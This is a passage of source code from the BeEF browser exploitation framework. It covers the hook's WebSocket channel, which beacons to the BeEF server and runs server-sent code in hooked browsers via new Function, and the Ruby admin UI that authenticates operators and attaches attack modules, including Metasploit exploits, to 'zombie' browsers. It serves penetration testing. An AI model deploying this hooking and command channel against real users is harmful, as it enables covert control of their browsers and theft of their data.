        var webSocketPort = "<%= @websocket_port %>";
        var webSocketSecure = "<%= @websocket_secure %>";
        var protocol = "ws://";

        if(webSocketSecure && window.location.protocol=="https:"){
            protocol = "wss://";
            webSocketPort= "<%= @websocket_sec_port %>";
        }

        if (beef.browser.isFF() && !!window.MozWebSocket) {
            beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
        }else{
            beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
        }

    },

    /**
     * Send Hello message to the BeEF server and start async polling.
     */
    start:function () {
        new beef.websocket.init();
        this.socket.onopen = function () {
            beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
            beef.websocket.alive();
        };

        this.socket.onmessage = function (message) {
            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
            new Function(message.data)();
        };

        this.socket.onclose = function () {
            setTimeout(function(){beef.websocket.start()}, 5000);
        };
    },

    /**
     * Send data back to BeEF. This is basically the same as beef.net.send,
     * but doesn't queue commands.
     * Example usage:
     * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
     * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
     * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
     */
    send:function (data) {
        try {
            this.socket.send(data);
        }catch(err){}
    },

    /**
     * Polling mechanism, to notify the BeEF server that the browser is still hooked,
     * and the WebSocket channel still alive.
     * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
     */
    alive: function (){
        try {
            if (beef.logger.running) {
                beef.logger.queue();
            }
        } catch(err){}

        beef.net.flush();

        beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
        setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
    }
};

beef.regCmp('beef.websocket');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: extensions/admin_ui/api/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI module API # # We use this module to register all the http handler for the Administrator UI # module Handler require 'uglifier' BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler') def self.evaluate_and_minify(content, params) begin erubis = Erubis::FastEruby.new(content) evaluated = erubis.evaluate(params) rescue => e print_error("[Admin UI] Evaluating with Eruby failed: #{e.message}") return end print_debug "[AdminUI] Minifying JavaScript (#{evaluated.size} bytes)" opts = { output: { comments: :none }, compress: { dead_code: true }, harmony: true } begin minified = Uglifier.compile(evaluated, opts) rescue StandardError => e print_warning "[AdminUI] Error: Could not minify '#{name}' JavaScript file: #{e.message}" print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !" return evaluated end print_debug "[AdminUI] Minified #{evaluated.size} bytes to #{minified.size} bytes" return minified end def self.write_minified_js(name, content) temp_file = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{File.basename(name)}", 'w+') File.write(temp_file, content) end def self.build_javascript_ui # NOTE: order counts! make sure you know what you're doing if you add files esapi = %w[ esapi/Class.create.js esapi/jquery-3.3.1.min.js esapi/jquery-encoder-0.1.0.js ] ux = %w[ ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js ] panel = %w[ ui/panel/common.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js ui/panel/PanelViewer.js ui/panel/LogsDataGrid.js ui/panel/BrowserDetailsDataGrid.js ui/panel/ZombieDataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/AutoRunTab.js ui/panel/AutoRunRuleForm.js ui/panel/AutoRunModuleForm.js ui/panel/ModuleSearching.js ] global_js = esapi + ux + panel admin_ui_js = '' global_js.each do |file_name| admin_ui_js << ("#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/#{file_name}")}\n\n") end config = BeEF::Core::Configuration.instance bp = config.get 'beef.extension.admin_ui.base_path' # if more dynamic variables are needed in JavaScript files # add them here in the following Hash params = { 'base_path' => bp } # process all JavaScript files, evaluating them with Erubis print_debug '[AdminUI] Initializing admin panel ...' web_ui_all = evaluate_and_minify(admin_ui_js, params) unless web_ui_all raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty" end write_minified_js('web_ui_all.js', web_ui_all) auth_js_file = "#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n" web_ui_auth = evaluate_and_minify(auth_js_file, params) unless web_ui_auth raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty" end write_minified_js('web_ui_auth.js', web_ui_auth) rescue => e raise StandardError, "Building Admin UI JavaScript failed: #{e.message}" end # # This function gets called automatically by the server. # def self.mount_handler(beef_server) config = BeEF::Core::Configuration.instance # Web UI base path, like http://beef_domain//panel bp = config.get 'beef.extension.admin_ui.base_path' # registers the http controllers used by BeEF core (authentication, logs, modules and panel) Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module| require http_module mod_name = File.basename http_module, '.rb' beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name)) end # mount the media folder where we store static files (javascript, css, images, audio) for the admin ui media_dir = "#{File.dirname(__FILE__)}/../media/" beef_server.mount("#{bp}/media", Rack::Files.new(media_dir)) # If we're not imitating a web server, mount the favicon to /favicon.ico # NOTE: this appears to be broken unless config.get('beef.http.web_server_imitation.enable') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( "/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}", '/favicon.ico', 'ico' ) end build_javascript_ui rescue => e print_error("[Admin UI] Could not mount URL route handlers: #{e.message}") print_more(e.backtrace) exit(1) end end end end end end ================================================ FILE: extensions/admin_ui/classes/httpcontroller.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI # # Handle HTTP requests and call the relevant functions in the derived classes # class HttpController attr_accessor :headers, :status, :body, :paths, :currentuser, :params C = BeEF::Core::Models::Command CM = BeEF::Core::Models::CommandModule Z = BeEF::Core::Models::HookedBrowser # # Class constructor. Takes data from the child class and populates itself with it. # def initialize(data = {}) @erubis = nil @status = 200 if data['status'].nil? @session = BeEF::Extension::AdminUI::Session.instance @config = BeEF::Core::Configuration.instance @bp = @config.get 'beef.extension.admin_ui.base_path' @headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil? @paths = if data['paths'].nil? && methods.include?('index') { 'index' => '/' } else data['paths'] end end # # Authentication check. Confirm the request to access the UI comes from a permitted IP address # def authenticate_request(ip) auth = BeEF::Extension::AdminUI::Controllers::Authentication.new auth.permitted_source?(ip) rescue StandardError => e print_error "authenticate_request failed: #{e.message}" false end # # Check if reverse proxy has been enabled and return the correct client IP address # def get_ip(request) if @config.get('beef.http.allow_reverse_proxy') request.ip # Get client x-forwarded-for ip address else request.get_header('REMOTE_ADDR') # Get client remote ip address end end # # Handle HTTP requests and call the relevant functions in the derived classes # def run(request, response) @request = request @params = request.params @body = '' # If access to the UI is not permitted for the request IP address return a 404 unless authenticate_request(get_ip(@request)) @status = 404 return end # test if session is unauth'd and whether the auth functionality is requested if !@session.valid_session?(@request) && !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication) @status = 302 @headers = { 'Location' => "#{@bp}/authentication" } return end # get the mapped function (if it exists) from the derived class path = request.path_info unless BeEF::Filters.is_valid_path_info?(path) print_error "[Admin UI] Path is not valid: #{path}" return end function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' if function.nil? print_error "[Admin UI] Path does not exist: #{path}" return end # call the relevant mapped function function.call # build the template filename and apply it - if the file exists function_name = function.name # used for filename class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html" if File.exist?(template_ui) @eruby = Erubis::FastEruby.new(File.read(template_ui)) @body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response end # set appropriate content-type 'application/json' for .json files @headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path.to_s.end_with?('.json') # set content type if @headers['Content-Type'].nil? @headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages end rescue StandardError => e print_error "Error handling HTTP request: #{e.message}" print_error e.backtrace end # Constructs a html script tag (from media/javascript directory) def script_tag(filename) "" end # Constructs a html script tag (from media/javascript-min directory) def script_tag_min(filename) "" end # Constructs a html stylesheet tag def stylesheet_tag(filename) "" end # Constructs a hidden html nonce tag def nonce_tag "" end def base_path @bp.to_s end private @eruby # Unescapes a URL-encoded string. def unescape(s) s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') } end end end end end ================================================ FILE: extensions/admin_ui/classes/session.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI # # The session for BeEF UI. # class Session include Singleton attr_reader :ip, :id, :nonce, :auth_timestamp def initialize set_logged_out @auth_timestamp = Time.new end # # set the session logged in # def set_logged_in(ip) @id = BeEF::Core::Crypto.secure_token @nonce = BeEF::Core::Crypto.secure_token @ip = ip end # # set the session logged out # def set_logged_out @id = nil @nonce = nil @ip = nil end # # set the auth_timestamp # def set_auth_timestamp(time) @auth_timestamp = time end # # return the session id # def get_id @id end # # return the nonce # def get_nonce @nonce end # # return the auth_timestamp # def get_auth_timestamp @auth_timestamp end # # Check if nonce valid # def valid_nonce?(request) # check if a valid session return false unless valid_session?(request) return false if @nonce.nil? return false unless request.post? # get nonce from request request_nonce = request['nonce'] return false if request_nonce.nil? # verify nonce request_nonce.eql? @nonce end # # Check if a session valid # def valid_session?(request) # check if a valid session exists return false if @id.nil? return false if @ip.nil? # check ip address matches return false unless @ip.to_s.eql? request.ip # get session cookie name from config session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name') # check session id matches request.cookies.each do |cookie| return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) end request # not a valid session false end end end end end ================================================ FILE: extensions/admin_ui/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: admin_ui: name: 'Admin UI' enable: false # Authentication and authorisation session_cookie_name: "BEEFSESSION" login_fail_delay: 1 # Admin UI base_path: "/ui" favicon_file_name: "favicon.ico" play_sound_on_new_zombie: false panel_update_interval: 10 # seconds ================================================ FILE: extensions/admin_ui/constants/icons.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI module Constants module Icons VERIFIED_NOT_WORKING_IMG = 'red.png' VERIFIED_USER_NOTIFY_IMG = 'orange.png' VERIFIED_WORKING_IMG = 'green.png' VERIFIED_UNKNOWN_IMG = 'grey.png' MODULE_TARGET_IMG_PATH = 'media/images/icons/' end end end end end ================================================ FILE: extensions/admin_ui/controllers/authentication/authentication.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI module Controllers # # The authentication web page for BeEF. # class Authentication < BeEF::Extension::AdminUI::HttpController # # Constructor # def initialize super({ 'paths' => { '/' => method(:index), '/login' => method(:login), '/logout' => method(:logout) } }) @session = BeEF::Extension::AdminUI::Session.instance end # Function managing the index web page def index @headers['Content-Type'] = 'text/html; charset=UTF-8' @headers['X-Frame-Options'] = 'sameorigin' end # # Function managing the login # def login username = @params['username-cfrm'] || '' password = @params['password-cfrm'] || '' @headers['Content-Type'] = 'application/json; charset=UTF-8' @headers['X-Frame-Options'] = 'sameorigin' @body = { success: false }.to_json config = BeEF::Core::Configuration.instance ua_ip = config.get('beef.http.allow_reverse_proxy') ? @request.ip : @request.get_header('REMOTE_ADDR') # check if source IP address is permitted to authenticate unless permitted_source?(ua_ip) BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{ua_ip}) attempted to authenticate but is not within permitted subnet.") return end # check if under brute force attack return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay', @session.get_auth_timestamp, ->(time) { @session.set_auth_timestamp(time) }) # check username and password unless username.eql?(config.get('beef.credentials.user')) && password.eql?(config.get('beef.credentials.passwd')) BeEF::Core::Logger.instance.register('Authentication', "User with ip #{ua_ip} has failed to authenticate in the application.") return end # establish an authenticated session @session.set_logged_in(ua_ip) session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true }) BeEF::Core::Logger.instance.register('Authentication', "User with ip #{ua_ip} has successfully authenticated in the application.") @body = { success: true }.to_json end # # Function managing the logout # def logout @body = { success: true }.to_json unless @session.valid_nonce?(@request) print_error 'invalid nonce' return end unless @session.valid_session?(@request) print_error 'invalid session' return end @headers['Content-Type'] = 'application/json; charset=UTF-8' @headers['X-Frame-Options'] = 'sameorigin' # set the session to be log out @session.set_logged_out # clean up UA and expire the session cookie config = BeEF::Core::Configuration.instance session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now }) ua_ip = config.get('beef.http.allow_reverse_proxy') ? @request.ip : @request.get_header('REMOTE_ADDR') BeEF::Core::Logger.instance.register('Authentication', "User with ip #{ua_ip} has successfully logged out.") end # # Check the UI browser source IP is within the permitted subnet # def permitted_source?(ip) return false unless BeEF::Filters.is_valid_ip?(ip) permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet') return false if permitted_ui_subnet.nil? return false if permitted_ui_subnet.empty? permitted_ui_subnet.each do |subnet| return true if IPAddr.new(subnet).include?(ip) end false end end end end end end ================================================ FILE: extensions/admin_ui/controllers/authentication/index.html ================================================ BeEF Authentication <%= script_tag 'ext-base.js' %> <%= script_tag 'ext-all.js' %> <%= script_tag_min 'web_ui_auth.js' %> <%= stylesheet_tag 'ext-all.css' %>
================================================ FILE: extensions/admin_ui/controllers/modules/modules.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI module Controllers class Modules < BeEF::Extension::AdminUI::HttpController BD = BeEF::Core::Models::BrowserDetails def initialize super({ 'paths' => { '/getRestfulApiToken.json' => method(:get_restful_api_token), '/select/commandmodules/all.json' => method(:select_all_command_modules), '/select/commandmodules/tree.json' => method(:select_command_modules_tree), '/select/commandmodule.json' => method(:select_command_module), '/select/command.json' => method(:select_command), '/select/command_results.json' => method(:select_command_results), '/commandmodule/commands.json' => method(:select_command_module_commands), '/commandmodule/new' => method(:attach_command_module), '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module), '/commandmodule/reexecute' => method(:reexecute_command_module) } }) @session = BeEF::Extension::AdminUI::Session.instance end # @note Returns the RESTful api key. Authenticated call, so callable only # from the admin UI after successful authentication (cookie). # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json # response # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"} def get_restful_api_token @body = { 'token' => BeEF::Core::Configuration.instance.get('beef.api_token') }.to_json end # Returns the list of all command_modules in a JSON format def select_all_command_modules @body = command_modules2json(BeEF::Modules.get_enabled.keys) end # Set the correct icon for the command module def set_command_module_icon(status) path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path path += case status when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG else BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG end # return path path end # Set the correct working status for the command module def set_command_module_status(mod) hook_session_id = @params['zombie_session'] || nil return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN if hook_session_id.nil? BeEF::Module.support(mod, { 'browser' => BD.get(hook_session_id, 'browser.name'), 'ver' => BD.get(hook_session_id, 'browser.version'), 'os' => [BD.get(hook_session_id, 'host.os.name')] }) end # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse # into the tree to find where it goes # @param tree [Array] The tree to recurse into # @param category [Array] The category to add the leaf to # @param leaf [Hash] The leaf to add to the tree def update_command_module_tree_recurse(tree, category, leaf) # get a single folder from the category array working_category = category.shift tree.each do |t| if t['text'].eql?(working_category) && category.count > 0 # We have deeper to go update_command_module_tree_recurse(t['children'], category, leaf) elsif t['text'].eql? working_category # Bingo t['children'].push(leaf) break else # Not here, keep looking end end # return tree end # Add the command to the tree def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) # construct leaf node for the command module tree leaf_node = { 'text' => cmd_name, 'leaf' => true, 'icon' => cmd_icon_path, 'status' => cmd_status, 'id' => cmd_id } # add the node to the branch in the command module tree # if the category is an array it means it's likeyl a sub-folderised category # so we need to recurse into the tree to find where it goes if cmd_category.is_a?(Array) # The category is an array, therefore it's a sub-folderised category cat_copy = cmd_category.dup # Don't work with the original array, because, then it breaks shit update_command_module_tree_recurse(tree, cat_copy, leaf_node) else # simply add the command to the tree as it hangs of one of the root folders tree.each do |x| if x['text'].eql? cmd_category x['children'].push(leaf_node) break end end end end # Recursive function to build the tree now with sub-folders # this only build the folders and not the leaf command modules def build_recursive_tree(parent, input) cinput = input.shift.chomp('/') if cinput.split('/').count == 1 # then we have a single folder now if parent.detect { |p| p['text'] == cinput }.nil? parent << { 'text' => cinput, 'cls' => 'folder', 'children' => [] } elsif input.count > 0 parent.each do |p| p['children'] = build_recursive_tree(p['children'], input) if p['text'] == cinput end end else # we have multiple folders newinput = cinput.split('/') newcinput = newinput.shift parent << { 'text' => newcinput, 'cls' => 'folder', 'children' => [] } if parent.detect { |p| p['text'] == newcinput }.nil? parent.each do |p| p['children'] = build_recursive_tree(p['children'], newinput) if p['text'] == newcinput end end if input.count > 0 build_recursive_tree(parent, input) else parent end end # Recursive function to sort all the parent's children def sort_recursive_tree(parent) # sort the children nodes by status and name parent.each do |x| # print_info "Sorting: " + x['children'].to_s next unless x.is_a?(Hash) && x.has_key?('children') x['children'] = x['children'].sort_by do |a| fldr = a['cls'] || 'zzzzz' "#{fldr}#{a['status']}#{a['text']}" end x['children'].each do |c| sort_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder' end end end # Recursive function to retitle folders with the number of children def retitle_recursive_tree(parent) # append the number of command modules so the branch name results in: " (num)" parent.each do |command_module_branch| next unless command_module_branch.is_a?(Hash) && command_module_branch.has_key?('children') num_of_subs = 0 command_module_branch['children'].each do |c| # add in the submodules and subtract 1 for the folder node num_of_subs += c['children'].length - 1 if c.has_key?('children') retitle_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder' end num_of_command_modules = command_module_branch['children'].length + num_of_subs command_module_branch['text'] = command_module_branch['text'] + ' (' + num_of_command_modules.to_s + ')' end end # Returns the list of all command_modules for a TreePanel in the interface. def select_command_modules_tree blanktree = [] tree = [] # Due to the sub-folder nesting, we use some really badly hacked together recursion # Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x tree = build_recursive_tree(blanktree, BeEF::Modules.get_categories) BeEF::Modules.get_enabled.each do |k, mod| # get the hooked browser session id and set it in the command module hook_session_id = @params['zombie_session'] || nil if hook_session_id.nil? print_error 'hook_session_id is nil' return end # create url path and file for the command module icon command_module_status = set_command_module_status(k) command_module_icon_path = set_command_module_icon(command_module_status) update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'], mod['db']['id']) end # if dynamic modules are found in the DB, then we don't have yaml config for them # and loading must proceed in a different way. dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/') unless dynamic_modules.nil? all_modules = BeEF::Core::Models::CommandModule.all.order(:id) all_modules.each do |dyn_mod| next unless dyn_mod.path.split('/')[1].match(/^metasploit/) command_mod_name = dyn_mod['name'] dyn_mod_category = 'Metasploit' command_module_status = set_command_module_status(command_mod_name) command_module_icon_path = set_command_module_icon(command_module_status) update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name, dyn_mod.id) end end # sort the parent array nodes tree.sort! { |a, b| a['text'] <=> b['text'] } sort_recursive_tree(tree) retitle_recursive_tree(tree) # return a JSON array of hashes @body = tree.to_json end # Returns the inputs definition of an command_module. def select_command_module command_module_id = @params['command_module_id'] || nil if command_module_id.nil? print_error 'command_module_id is nil' return end command_module = BeEF::Core::Models::CommandModule.find(command_module_id) key = BeEF::Module.get_key_by_database_id(command_module_id) payload_name = @params['payload_name'] || nil @body = if payload_name.nil? command_modules2json([key]) else dynamic_payload2json(command_module_id, payload_name) end end # Returns the list of commands for an command_module def select_command_module_commands commands = [] i = 0 # get params zombie_session = @params['zombie_session'] || nil if zombie_session.nil? print_error 'Zombie session is nil' return end command_module_id = @params['command_module_id'] || nil if command_module_id.nil? print_error 'command_module id is nil' return end # validate nonce nonce = @params['nonce'] || nil if nonce.nil? print_error 'nonce is nil' return end if @session.get_nonce != nonce print_error 'nonce incorrect' return end # get the browser id zombie = Z.where(session: zombie_session).first if zombie.nil? print_error 'Zombie is nil' return end zombie_id = zombie.id if zombie_id.nil? print_error 'Zombie id is nil' return end C.where(command_module_id: command_module_id, hooked_browser_id: zombie_id).each do |command| commands.push({ 'id' => i, 'object_id' => command.id, 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s, 'label' => command.label }) i += 1 end @body = { 'success' => 'true', 'commands' => commands }.to_json end # Attaches an command_module to a zombie. def attach_command_module definition = {} # get params zombie_session = @params['zombie_session'] || nil if zombie_session.nil? print_error 'Zombie id is nil' return end command_module_id = @params['command_module_id'] || nil if command_module_id.nil? print_error 'command_module id is nil' return end # validate nonce nonce = @params['nonce'] || nil if nonce.nil? print_error 'nonce is nil' return end if @session.get_nonce != nonce print_error 'nonce incorrect' return end @params.keys.each do |param| unless BeEF::Filters.has_valid_param_chars?(param) print_error 'invalid key param string' return end if BeEF::Filters.first_char_is_num?(param) print_error 'first char is num' return end definition[param[4..-1]] = params[param] oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1]) oc.value = params[param] oc.save end mod_key = BeEF::Module.get_key_by_database_id(command_module_id) # Hack to rework the old option system into the new option system def2 = [] definition.each do |k, v| def2.push({ 'name' => k, 'value' => v }) end # End hack exec_results = BeEF::Module.execute(mod_key, zombie_session, def2) @body = exec_results.nil? ? '{success: false}' : '{success: true}' end # Re-execute an command_module to a zombie. def reexecute_command_module # get params command_id = @params['command_id'] || nil if command_id.nil? print_error 'Command id is nil' return end command = BeEF::Core::Models::Command.find(command_id.to_i) || nil if command.nil? print_error 'Command is nil' return end # validate nonce nonce = @params['nonce'] || nil if nonce.nil? print_error 'nonce is nil' return end if @session.get_nonce != nonce print_error 'nonce incorrect' return end command.instructions_sent = false command.save @body = '{success : true}' end def attach_dynamic_command_module definition = {} # get params zombie_session = @params['zombie_session'] || nil if zombie_session.nil? print_error 'Zombie id is nil' return end command_module_id = @params['command_module_id'] || nil if command_module_id.nil? print_error 'command_module id is nil' return end # validate nonce nonce = @params['nonce'] || nil if nonce.nil? print_error 'nonce is nil' return end if @session.get_nonce != nonce print_error 'nonce incorrect' return end @params.keys.each do |param| unless BeEF::Filters.has_valid_param_chars?(param) print_error 'invalid key param string' return end if BeEF::Filters.first_char_is_num?(param) print_error "first char is num: #{param}" return end definition[param[4..-1]] = params[param] oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1]) oc.value = params[param] oc.save end zombie = Z.where(session: zombie_session).first if zombie.nil? print_error 'Zombie is nil' return end zombie_id = zombie.id if zombie_id.nil? print_error 'Zombie id is nil' return end command_module = BeEF::Core::Models::CommandModule.find(command_module_id) return { 'success' => 'false' }.to_json if command_module.nil? unless command_module.path.match(/^Dynamic/) print_info "Command module path is not dynamic: #{command_module.path}" return { 'success' => 'false' }.to_json end dyn_mod_name = command_module.path.split('/').last e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new e.update_info(command_module_id) e.update_data ret = e.launch_exploit(definition) if ret['result'] != 'success' print_info 'mount failed' return { 'success' => 'false' }.to_json end basedef = {} basedef['sploit_url'] = ret['uri'] C.new( data: basedef.to_json, hooked_browser_id: zombie_id, command_module_id: command_module_id, creationdate: Time.new.to_i ).save @body = { 'success' => true }.to_json end # Returns the results of a command def select_command_results results = [] # get params command_id = @params['command_id'] || nil if command_id.nil? print_error 'Command id is nil' return end command = BeEF::Core::Models::Command.find(command_id.to_i) || nil if command.nil? print_error 'Command is nil' return end # get command_module command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) if command_module.nil? print_error 'command_module is nil' return end resultsdb = BeEF::Core::Models::Result.where(command_id: command_id) if resultsdb.nil? print_error 'Command id result is nil' return end resultsdb.each { |result| results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) }) } @body = { 'success' => 'true', 'command_module_name' => command_module.name, 'command_module_id' => command_module.id, 'results' => results }.to_json end # Returns the definition of a command. # In other words it returns the command that was used to command_module a zombie. def select_command # get params command_id = @params['command_id'] || nil if command_id.nil? print_error 'Command id is nil' return end command = BeEF::Core::Models::Command.find(command_id.to_i) || nil if command.nil? print_error 'Command is nil' return end command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) if command_module.nil? print_error 'command_module is nil' return end if command_module.path.split('/').first.match(/^Dynamic/) dyn_mod_name = command_module.path.split('/').last e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new else command_module_name = command_module.name e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name) end @body = { 'success' => 'true', 'command_module_name' => command_module_name, 'command_module_id' => command_module.id, 'data' => BeEF::Module.get_options(command_module_name), 'definition' => JSON.parse(e.to_json) }.to_json end private # Takes a list of command_modules and returns them as a JSON array def command_modules2json(command_modules) command_modules_json = {} i = 1 config = BeEF::Core::Configuration.instance command_modules.each do |command_module| h = { 'Name' => config.get("beef.module.#{command_module}.name"), 'Description' => config.get("beef.module.#{command_module}.description"), 'Category' => config.get("beef.module.#{command_module}.category"), 'Data' => BeEF::Module.get_options(command_module) } command_modules_json[i] = h i += 1 end return { 'success' => 'false' }.to_json if command_modules_json.empty? { 'success' => 'true', 'command_modules' => command_modules_json }.to_json end # return the input requred for the module in JSON format def dynamic_modules2json(id) command_modules_json = {} mod = BeEF::Core::Models::CommandModule.find(id) # if the module id is not in the database return false return { 'success' => 'false' }.to_json unless mod # the path will equal Dynamic/ and this will get just the type dynamic_type = mod.path.split('/').last e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new e.update_info(mod.id) e.update_data command_modules_json[1] = JSON.parse(e.to_json) if command_modules_json.empty? { 'success' => 'false' }.to_json else { 'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json }.to_json end end def dynamic_payload2json(id, payload_name) command_module = BeEF::Core::Models::CommandModule.find(id) if command_module.nil? print_error 'Module does not exists' return { 'success' => 'false' }.to_json end payload_options = BeEF::Module.get_payload_options(command_module.name, payload_name) # get payload options in JSON # e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new payload_options_json = [] payload_options_json[1] = payload_options # payload_options_json[1] = e.get_payload_options(payload_name) { 'success' => 'true', 'command_modules' => payload_options_json }.to_json end end end end end end ================================================ FILE: extensions/admin_ui/controllers/panel/index.html ================================================ BeEF Control Panel <%= script_tag 'ext-base.js' %> <%= script_tag 'ext-all.js' %> <%= script_tag_min 'web_ui_all.js' %> <%= script_tag 'vis.js/vis.min.js' %> <%= stylesheet_tag 'ext-all.css' %> <%= stylesheet_tag 'base.css' %> <%= nonce_tag %> ================================================ FILE: extensions/admin_ui/controllers/panel/panel.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module 